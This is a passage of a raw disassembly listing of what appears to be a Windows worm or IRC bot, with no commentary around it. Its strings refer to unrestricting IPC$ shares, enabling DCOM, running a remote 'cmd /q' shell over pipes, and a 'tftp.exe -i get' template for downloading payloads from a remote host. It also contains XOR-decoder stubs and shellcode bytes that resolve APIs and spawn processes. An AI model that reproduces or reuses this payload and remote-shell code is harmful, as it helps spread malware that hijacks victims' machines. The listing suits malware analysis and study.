sub_4162AC+102o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToUnrest db ' Failed to unrestrict access to the IPC$ Share.',0 dword_43386C dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h ; DATA XREF: sub_4162AC:loc_416319o dd 2202967h, 2002BBBBh, 4F434420h, 6E65204Dh, 656C6261h dd 2E64h unk_433898 db 2 ; DATA XREF: sub_4162AC+66o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aEnableDcomFail db ' Enable DCOM failed.',0 align 4 word_4338CC dw 59h ; DATA XREF: sub_4162AC+38r align 10h dword_4338D0 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4165C6+DEo dd 2029671Fh, 2BBBB02h aWaitformultipl db ' WaitForMultipleObjects error: <%d>.',0 align 4 dword_433914 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4165C6+59o ; sub_4165C6+8Bo dd 2029671Fh, 2BBBB02h aFailedToCrea_0 db ' Failed to create ReadShell session thread, error: <%d>.',0 align 4 dword_43396C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416717+AFo dd 2029671Fh, 2BBBB02h aFailedToExecut db ' Failed to execute shell.',0 align 4 dword_4339A4 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416717+7Eo dd 2029671Fh, 2BBBB02h aFailedToCrea_1 db ' Failed to create shell stdin pipe, error: <%d>.',0 align 4 dword_4339F4 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416717+5Co dd 2029671Fh, 2BBBB02h aFailedToCrea_2 db ' Failed to create shell stdout pipe, error: <%d>.',0 align 4 dword_433A44 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416810+C3o dd 2029671Fh, 2BBBB02h aFailedToExec_0 db ' Failed to execute shell, error: <%d>.',0 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_416810+8Co align 10h dword_433A90 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4168E9+A1o dd 2029671Fh, 2BBBB02h aSessionreadshe db ' SessionReadShellThread exited, error: <%ld>.',0 align 4 loc_433ADC: ; DATA XREF: sub_416C55+C4o jmp short loc_433AE0 ; --------------------------------------------------------------------------- loc_433ADE: ; CODE XREF: ___:loc_433AE0p jmp short loc_433AE5 ; --------------------------------------------------------------------------- loc_433AE0: ; CODE XREF: ___:loc_433ADCj call loc_433ADE loc_433AE5: ; CODE XREF: ___:loc_433ADEj pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_433AEA dw 0FFFFh ; DATA XREF: sub_416C55+CCw db 80h, 73h, 0Eh byte_433AEF db 0FFh ; DATA XREF: sub_416C55+D3w dd 0F9E243h ; --------------------------------------------------------------------------- loc_433AF4: ; DATA XREF: sub_416C55+A2o jmp short loc_433AF8 ; --------------------------------------------------------------------------- loc_433AF6: ; CODE XREF: ___:loc_433AF8p jmp short loc_433AFD ; --------------------------------------------------------------------------- loc_433AF8: ; CODE XREF: ___:loc_433AF4j call loc_433AF6 loc_433AFD: ; CODE XREF: ___:loc_433AF6j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_433B01 db 0FFh ; DATA XREF: sub_416C55+AAw dw 7380h db 0Ch byte_433B05 db 0FFh ; DATA XREF: sub_416C55+B0w dw 0E243h dd 0F9h dword_433B0C dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_416ADE+57o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_433B70 dd 12h ; DATA XREF: sub_416ADE+3Dw aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_416ADE+79o aJ db 'j',0 db 0E8h dword_433B89 dd 17h ; DATA XREF: sub_416ADE+4Dw ; --------------------------------------------------------------------------- jnz short near ptr byte_433B90 retn ; --------------------------------------------------------------------------- byte_433B90 db 0E8h ; CODE XREF: ___:00433B8Dj dword_433B91 dd 1 ; DATA XREF: sub_416ADE+45w byte_433B95 db 0, 6Ah, 0 ; DATA XREF: sub_416ADE+C2o dd 7E8h db 0, 0Fh, 84h dword_433B9F dd 0FFFFFFEDh ; DATA XREF: sub_416ADE+5Dw ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 10h aThreadList db '-[Thread List]-',0 aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_416FEA+51o aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_416FEA+35o dword_433C20 dd 29E2C0h ; DATA XREF: sub_417302+4w sub_41730Cr ... align 10h dword_433C30 dd 173Fh ; DATA XREF: sub_417CA4+Dr dd 9875h, 9873h off_433C3C dd offset sub_417D73 ; DATA XREF: ___:00419AB8r dd offset nullsub_2 dd offset nullsub_2 dword_433C48 dd 1B3Fh ; DATA XREF: sub_417DEB+Dr dword_433C4C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41826D+2o ; sub_418276+2o off_433C60 dd offset sub_419AF6 ; DATA XREF: sub_419CDA+1Cr dword_433C64 dd 2 ; DATA XREF: sub_41F84C+Er ; sub_41F885+46r ... off_433C68 dd offset aNull_0 ; DATA XREF: sub_419E38:loc_41A19Cr ; sub_419E38+457r ; "(null)" off_433C6C dd offset aNull ; DATA XREF: sub_419E38+259r ; "(null)" off_433C70 dd offset word_433C7A ; DATA XREF: sub_417794+23r ; sub_417794:loc_4177F5r ... off_433C74 dd offset word_433C7A ; DATA XREF: sub_422EB1+18r db 2 dup(0) word_433C7A dw 20h ; DATA XREF: sub_42102E+18r ; ___:off_433C70o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_433E7C dd 1 ; DATA XREF: sub_417794:loc_41779Cr ; sub_417794:loc_4177E0r ... byte_433E80 db 2Eh ; DATA XREF: sub_41C86F:loc_41C8AFr ; sub_41C8C9+4r ... align 4 dd 1, 10h, 0 off_433E90 dd offset off_433E90 ; DATA XREF: sub_41B888+Do ; sub_41B888+69o ... off_433E94 dd offset off_433E90 ; DATA XREF: sub_41B888:loc_41B908r ; sub_41B888+89w ... dd offset dword_433EA8 dd offset dword_433EA8 dword_433EA0 dd 0FFFFFFFFh ; DATA XREF: sub_41B888r ; sub_41B9CC:loc_41BA19w dd 0FFFFFFFFh dword_433EA8 dd 0F0h, 0F1h, 4E6h dup(0) ; DATA XREF: ___:00433E98o ; ___:00433E9Co db 0 byte_435249 db 3 dup(0) ; DATA XREF: ___:off_4274DCo dd 319h dup(0) off_435EB0 dd offset off_433E90 ; DATA XREF: sub_41B9CC+15r ; sub_41B9CC+20w ... dword_435EB4 dd 1E0h ; DATA XREF: sub_417BC7:loc_417C03r ; sub_41944F+185r ... dword_435EB8 dd 14h ; DATA XREF: sub_41C5B8+2o off_435EBC dd offset aExp ; DATA XREF: sub_41C5B8:loc_41C5D5r ; "exp" dd 1Dh, 42480Ch, 1Ah, 424808h, 1Bh, 424800h, 1Fh, 4247F8h dd 13h, 4247F0h, 21h, 4247E8h, 0Eh, 4247E0h, 0Dh, 4247D8h dd 0Fh, 4247D0h, 10h, 4247C8h, 5, 4247C0h, 1Eh, 4247BCh dd 12h, 4247B8h, 20h, 4247B4h, 0Ch, 4247ACh, 0Bh, 4247A4h dd 15h, 42479Ch, 1Ch, 424794h, 19h, 42478Ch, 11h, 424784h dd 18h, 42477Ch, 16h, 424774h, 17h, 42476Ch, 22h, 424768h dd 23h, 424764h, 24h, 424760h dbl_435F90 dq 1.797693134862316e308 ; DATA XREF: sub_41C2F3+B7r ; sub_41C2F3:loc_41C3DAr ... dd 0 dd 0FFF80000h dbl_435FA0 dq 1.797693134862316e308 ; DATA XREF: sub_41C2F3+92r ; sub_41C2F3:loc_41C3B2r ... dd 0 dd 100000h, 0 dd 80000000h tbyte_435FB8 dt 2.3562723457267347066e313 ; DATA XREF: sub_41C7A0+Dr ; sub_41C7A0+1Fr align 4 tbyte_435FC4 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41C7A0+31r align 10h off_435FD0 dd offset sub_41CC34 ; DATA XREF: sub_417D8B+Fw ; sub_419E38+3AAr off_435FD4 dd offset sub_41C8C9 ; DATA XREF: sub_417D8B+5w ; sub_419E38+3E2r off_435FD8 dd offset sub_41C92F ; DATA XREF: sub_417D8B+14w ; sub_41D797+430r off_435FDC dd offset sub_41C86F ; DATA XREF: sub_417D8B+1Ew ; sub_419E38+3CBr off_435FE0 dd offset sub_41C917 ; DATA XREF: sub_417D8B+28w off_435FE4 dd offset sub_41CC34 ; DATA XREF: sub_417D8B+32w dd offset sub_42086E align 10h dd offset sub_41D4FC off_435FF4 dd offset sub_41D4FC ; DATA XREF: sub_41D552+29r dword_435FF8 dd 0D2D0920h, 5Dh ; DATA XREF: sub_41D797:loc_41DCFEo dword_436000 dd 5Dh, 0 ; DATA XREF: sub_41D797:loc_41DBEEo byte_436008 db 1 ; DATA XREF: sub_41E92D+E1r db 2, 4, 8 align 10h dword_436010 dd 3A4h ; DATA XREF: sub_41E92D+2Fo dword_436014 dd 82798260h, 21h, 0 ; DATA XREF: sub_41E92D+11Dr dword_436020 dd 0DFA6h ; DATA XREF: sub_41E92D+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_436100 dd 1 ; DATA XREF: sub_41E92D+3Co ; sub_41EF44+Co dword_436104 dd 16h ; DATA XREF: sub_41EF44:loc_41EF79r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_436268 dd 0C0000005h ; DATA XREF: sub_41EF44+19o ; sub_41F0EC+Ar ... dword_43626C dd 0Bh ; DATA XREF: sub_421D69+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_4362E0 dd 3 ; DATA XREF: ___:0041F003r ; sub_421C3C+C8r dword_4362E4 dd 7 ; DATA XREF: ___:0041F009r ; sub_421C3C+CDr dword_4362E8 dd 0Ah ; DATA XREF: sub_41F0EC+4r ; sub_421D69+4r dword_4362EC dd 8Ch ; DATA XREF: ___:0041F02Dr ; ___:0041F03Aw ... dword_4362F0 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_419D23:loc_419DE0o ; sub_41E248:loc_41E2C9o dword_4362F8 dd 2 ; DATA XREF: sub_41F885+Eo ; sub_41F885+28r off_4362FC dd offset aR6002FloatingP ; DATA XREF: sub_41F885+FCr ; sub_41F885+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 424B2Ch, 9, 424B00h, 0Ah, 424ADCh, 10h, 424AB0h dd 11h, 424A80h, 12h, 424A5Ch, 13h, 424A30h, 18h, 4249F8h dd 19h, 4249D0h, 1Ah, 424998h, 1Bh, 424960h, 1Ch, 424938h dd 78h, 424928h, 79h, 424918h, 7Ah, 424908h, 0FCh, 42A3B0h dd 0FFh, 4248F8h off_436388 dd offset dword_4CDCC0 ; DATA XREF: sub_41F885+1Bo ; sub_41FA42+55o align 10h dd offset dword_4CDCC0 dd 101h dword_436398 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41FA42+72o dd 1000h, 0 dword_4363A8 dd 3 dup(0) ; DATA XREF: sub_419D23+50o ; sub_41A8A2+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_4363C8 dd 3 dup(0) ; DATA XREF: sub_419D23+58o ; sub_41A8A2:loc_41A8C0o dd 2, 0FFFFFFFFh, 7 dup(0) dword_4363F8 dd 84h dup(0) ; DATA XREF: sub_41FA42+9Bo dword_436608 dd 2694h ; DATA XREF: sub_41BF55+3r ; sub_41BFA8+46r ... align 10h dword_436610 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_42064Eo dword_436628 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_420664o dword_436640 dd 7080h ; DATA XREF: sub_41D609+76r ; sub_42094E+5Ew ... dword_436644 dd 1 ; DATA XREF: sub_41D609+98r ; sub_42094E+8Bw ... dword_436648 dd 0FFFFF1F0h ; DATA XREF: sub_41D609:loc_41D6BBr ; sub_42094E+94w ... off_43664C dd offset loc_54534F+1 ; DATA XREF: ___:off_4366CCo dd 0Fh dup(0) off_43668C dd offset loc_544450 ; DATA XREF: ___:off_4366D0o dd 0Fh dup(0) off_4366CC dd offset off_43664C ; DATA XREF: sub_42094E+BAr ; sub_42094E+D9r ... off_4366D0 dd offset off_43668C ; DATA XREF: sub_42094E+F4r ; sub_42094E+11Br ... align 8 dword_4366D8 dd 0FFFFFFFFh ; DATA XREF: sub_42094E+1Dw ; sub_420BAC+1Er ... dword_4366DC dd 0 ; DATA XREF: sub_420BAC:loc_420CE0r ; sub_420D58+BFw dword_4366E0 dd 0 ; DATA XREF: sub_420BAC+192r ; sub_420D58+E0w align 8 dword_4366E8 dd 0FFFFFFFFh ; DATA XREF: sub_42094E+17w ; sub_420BAC+26r ... dword_4366EC dd 0 ; DATA XREF: sub_420BAC+13Ar ; sub_420D58+EAw ... dword_4366F0 dd 0 ; DATA XREF: sub_420BAC+1A1r ; sub_420D58+23r ... dword_4366F4 dd 0FFFFFFFFh ; DATA XREF: sub_420D58+84r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_436724 dd 16Dh ; DATA XREF: sub_41D609+2Ar ; sub_420D58+2Er ... dword_436728 dd 0FFFFFFFFh ; DATA XREF: sub_420D58:loc_420DE4r dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_436760 dd 2 dup(0) ; DATA XREF: sub_4220C1+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_4368C0 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_4220C1+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_436A1C dd offset off_424D00 ; DATA XREF: ___:00424EDCo ; ___:00424FC8o dd 0 a_?avexception@ db '.?AVexception@@',0 off_436A34 dd offset off_424D00 ; DATA XREF: ___:off_424D90o ; ___:00424DD0o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_436A54 dd offset off_424D00 ; DATA XREF: ___:off_424DD8o ; ___:00424E1Co ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_436A74 dd offset off_424D00 ; DATA XREF: ___:off_424E24o ; ___:00424E68o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 8 off_436A98 dd offset off_424D00 ; DATA XREF: ___:off_424E70o ; ___:00424EACo align 10h a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_42086E align 8 byte_436AB8 db 0 ; DATA XREF: sub_40144A+1D3w ; sub_40144A+2D2o align 2 word_436ABA dw 0 ; DATA XREF: sub_40144A+1E3w word_436ABC dw 0 ; DATA XREF: sub_40144A+1E9w word_436ABE dw 0 ; DATA XREF: sub_40144A+1F0w byte_436AC0 db 0 ; DATA XREF: sub_40144A+1F7w byte_436AC1 db 0 ; DATA XREF: sub_40144A+1FEw word_436AC2 dw 0 ; DATA XREF: sub_40144A+204w dword_436AC4 dd 0 ; DATA XREF: sub_40144A+234w ; sub_40144A+250w dword_436AC8 dd 0 ; DATA XREF: sub_40144A+258w byte_436ACC db 0 ; DATA XREF: sub_40144A+26Aw byte_436ACD db 0 ; DATA XREF: sub_40144A+27Dw word_436ACE dw 0 ; DATA XREF: sub_40144A+295w word_436AD0 dw 0 ; DATA XREF: sub_40144A+2A4w word_436AD2 dw 0 ; DATA XREF: sub_40144A+29Cw dword_436AD4 dd 101h dup(0) ; DATA XREF: sub_40144A+2B9o dword_436ED8 dd 0 ; DATA XREF: sub_4029E9+9Eo byte_436EDC db 0 ; DATA XREF: sub_4029E9+36r ; sub_402ACC+37r ... align 10h dword_436EE0 dd 0 ; DATA XREF: sub_4030D1+10w ; sub_4030E8+30r ... dd 2 dup(0) dword_436EEC dd 2 dup(0) ; DATA XREF: sub_403EBA+68o dword_436EF4 dd 0 ; DATA XREF: sub_40395A+13o ; sub_40EE72+610Do ... dword_436EF8 dd 0 ; DATA XREF: sub_404853+8w ; ___:00404C22o align 10h dword_436F00 dd 2 dup(0) ; DATA XREF: ___:00404B58o dword_436F08 dd 0 ; DATA XREF: sub_4059DB+2Aw ; sub_4059DB+51r ... dword_436F0C dd 0 ; DATA XREF: sub_4030E8+AEr ; ___:004042D4r ... dd 2 dup(0) dword_436F18 dd 0 ; DATA XREF: sub_4071DB+18r ; sub_40762E+92w ... dword_436F1C dd 0 ; DATA XREF: sub_407767+4Dr ; sub_40797F+D9w ... dd 7FEh dup(0) dword_438F18 dd 6 dup(0) ; DATA XREF: sub_407767+D2o ; sub_407767+13Bo ... dword_438F30 dd 0 ; DATA XREF: sub_407252+82w ; sub_407252+102o dword_438F34 dd 41h dup(0) ; DATA XREF: sub_407252+41o dword_439038 dd 41h dup(0) ; DATA XREF: sub_407252+63o dword_43913C dd 0 ; DATA XREF: sub_407252+F8w ; sub_407252+114r dword_439140 dd 0 ; DATA XREF: sub_407252+52w dword_439144 dd 0 ; DATA XREF: sub_407252+4Dw ; sub_407252+CFr dword_439148 dd 20h dup(0) ; DATA XREF: sub_407252+9Ao ; sub_407252+BAo dword_4391C8 dd 0 ; DATA XREF: sub_407252+8Fw dword_4391CC dd 0 ; DATA XREF: sub_407252+A7w ; sub_407252+C7w dword_4391D0 dd 0 ; DATA XREF: sub_407252:loc_40737Cr align 8 dword_4391D8 dd 0 ; DATA XREF: sub_407252+2D5w ; sub_407252+32Eo dword_4391DC dd 0A2h dup(0) ; DATA XREF: sub_407252+2C3o dword_439464 dd 41h dup(0) ; DATA XREF: sub_407252+28Do dword_439568 dd 0 ; DATA XREF: sub_407252+2BAw ; sub_407252+2E1r align 10h dword_439570 dd 0 ; DATA XREF: sub_407252+324w ; sub_407252+340r dword_439574 dd 0 ; DATA XREF: sub_407252+2E7w dword_439578 dd 0 ; DATA XREF: sub_407252+2F4w dword_43957C dd 0 ; DATA XREF: sub_407252+2B4w dd 0 dword_439584 dd 0 ; DATA XREF: sub_407252:loc_4075A8r dword_439588 dd 0 ; DATA XREF: sub_407252+1A1w ; sub_407252+221o dword_43958C dd 41h dup(0) ; DATA XREF: sub_407252+163o dword_439690 dd 41h dup(0) ; DATA XREF: sub_407252+182o dword_439794 dd 0 ; DATA XREF: sub_407252+217w ; sub_407252+233r dword_439798 dd 0 ; DATA XREF: sub_407252+171w dword_43979C dd 0 ; DATA XREF: sub_407252+1EEr dword_4397A0 dd 20h dup(0) ; DATA XREF: sub_407252+1B9o ; sub_407252+1D9o dword_439820 dd 0 ; DATA XREF: sub_407252+1AEw dword_439824 dd 0 ; DATA XREF: sub_407252+1C6w ; sub_407252+1E6w dword_439828 dd 0 ; DATA XREF: sub_407252:loc_40749Cr align 10h dword_439830 dd 0 ; DATA XREF: sub_4087EE+Fr ; sub_4089E7+12r align 8 dword_439838 dd 80h dup(0) ; DATA XREF: sub_409706+41o dword_439A38 dd 200h dup(0) ; DATA XREF: sub_409037+C7o ; sub_409392+DDo ... dword_43A238 dd 200h dup(0) ; DATA XREF: sub_409037+D6o ; sub_409392+F4o ... dword_43AA38 dd 0 ; DATA XREF: sub_409037+86w ; sub_409209+94r dword_43AA3C dd 0 ; DATA XREF: sub_409037+A7w ; sub_40966F+55r ... dword_43AA40 dd 0 ; DATA XREF: sub_409037+A0w ; sub_409209+D6r ... dword_43AA44 dd 0 ; DATA XREF: sub_409037+79w ; sub_409209+35r ... dword_43AA48 dd 80h dup(0) ; DATA XREF: sub_40966F+5Eo dword_43AC48 dd 0 ; DATA XREF: sub_409037+93w ; sub_409209+A2r align 10h dword_43AC50 dd 0 ; DATA XREF: sub_409037+E7o ; sub_409037+103r ... dword_43AC54 dd 0 ; DATA XREF: sub_409392+17Bw ; sub_409539+107w dword_43AC58 dd 0 ; DATA XREF: sub_409392+180w ; sub_409539+10Dw ... dword_43AC5C dd 0 ; DATA XREF: sub_409392+159w ; sub_40966F+4Fr dword_43AC60 dd 0 ; DATA XREF: sub_4085B3+210r ; sub_4085B3+21Ar ... dword_43AC64 dd 0 ; DATA XREF: sub_40981F+65w ; sub_41518A+F5r dword_43AC68 dd 0 ; DATA XREF: sub_40981F+7EDw ; sub_40981F+862r ... dword_43AC6C dd 0 ; DATA XREF: sub_40981F+9BAw ; sub_40981F+A18r ... dword_43AC70 dd 0 ; DATA XREF: sub_40981F+96Cw ; sub_40981F+9E8r ... dword_43AC74 dd 0 ; DATA XREF: sub_4085B3+D1r ; sub_40981F+46Fw ... dword_43AC78 dd 0 ; DATA XREF: sub_4023A7+ECr ; sub_4023A7+109r ... dword_43AC7C dd 0 ; DATA XREF: sub_40981F+9ADw ; sub_40981F+A10r ... dword_43AC80 dd 0 ; DATA XREF: sub_40981F+354w ; sub_40981F+3A9r ... dword_43AC84 dd 0 ; DATA XREF: sub_40981F+3F1w ; sub_40B8D8+11Er dword_43AC88 dd 0 ; DATA XREF: sub_40981F+361w ; sub_40981F+3B1r ... dword_43AC8C dd 0 ; DATA XREF: sub_40981F+3A2w ; sub_40DCE6+ADr dword_43AC90 dd 0 ; DATA XREF: sub_405AF2+115r ; sub_4084B3+7Dr ... dword_43AC94 dd 0 ; DATA XREF: sub_40981F+72w ; sub_40981F+D2r ... dword_43AC98 dd 0 ; DATA XREF: sub_40981F+95Fw ; sub_40981F+9DBr ... dword_43AC9C dd 0 ; DATA XREF: sub_40981F+388w ; sub_40981F+3C9r ... dword_43ACA0 dd 0 ; DATA XREF: sub_40981F+83Bw ; sub_40981F+88Er ... dword_43ACA4 dd 0 ; DATA XREF: sub_408C26+58r ; sub_40981F+2A5w ... dword_43ACA8 dd 0 ; DATA XREF: sub_40981F+82Ew ; sub_40981F+886r ... dword_43ACAC dd 0 ; DATA XREF: sub_40981F+B3w dword_43ACB0 dd 0 ; DATA XREF: sub_40981F+848w ; sub_40981F+896r ... dword_43ACB4 dd 0 ; DATA XREF: sub_407BDE+7Er ; sub_40981F+52Fw ... dword_43ACB8 dd 0 ; DATA XREF: sub_40981F+58w ; sub_40981F+CAr ... dword_43ACBC dd 0 ; DATA XREF: sub_40981F+916w ; sub_40AF86+11Ar dword_43ACC0 dd 0 ; DATA XREF: sub_40981F+A66w ; sub_40981F+A6Dr ... dword_43ACC4 dd 0 ; DATA XREF: sub_40981F+A6w ; sub_40981F+F2r dword_43ACC8 dd 0 ; DATA XREF: sub_4085B3+119r ; sub_40981F+462w ... dword_43ACCC dd 0 ; DATA XREF: sub_4075E6+20r ; sub_40981F+5D8w dword_43ACD0 dd 0 ; DATA XREF: sub_40981F+9A0w ; sub_40981F+A08r dword_43ACD4 dd 0 ; DATA XREF: sub_402688+280r ; sub_40981F+5CBw ... dword_43ACD8 dd 0 ; DATA XREF: sub_402ACC+9Ar ; sub_40981F+B21w dword_43ACDC dd 0 ; DATA XREF: sub_40981F+7E0w ; sub_40981F+84Fr ... dword_43ACE0 dd 0 ; DATA XREF: sub_40981F+1B3w ; sub_40AC20+15r dword_43ACE4 dd 0 ; DATA XREF: sub_40981F+979w ; sub_40981F+9F0r ... dword_43ACE8 dd 0 ; DATA XREF: sub_40981F+36Ew ; sub_40981F+3B9r ... dword_43ACEC dd 0 ; DATA XREF: sub_40981F+37Bw ; sub_40981F+3C1r ... dword_43ACF0 dd 0 ; DATA XREF: sub_4087EE+28r ; sub_4089E7+2Br ... dword_43ACF4 dd 0 ; DATA XREF: sub_40981F+68Ew ; ___:00415550r dword_43ACF8 dd 0 ; DATA XREF: 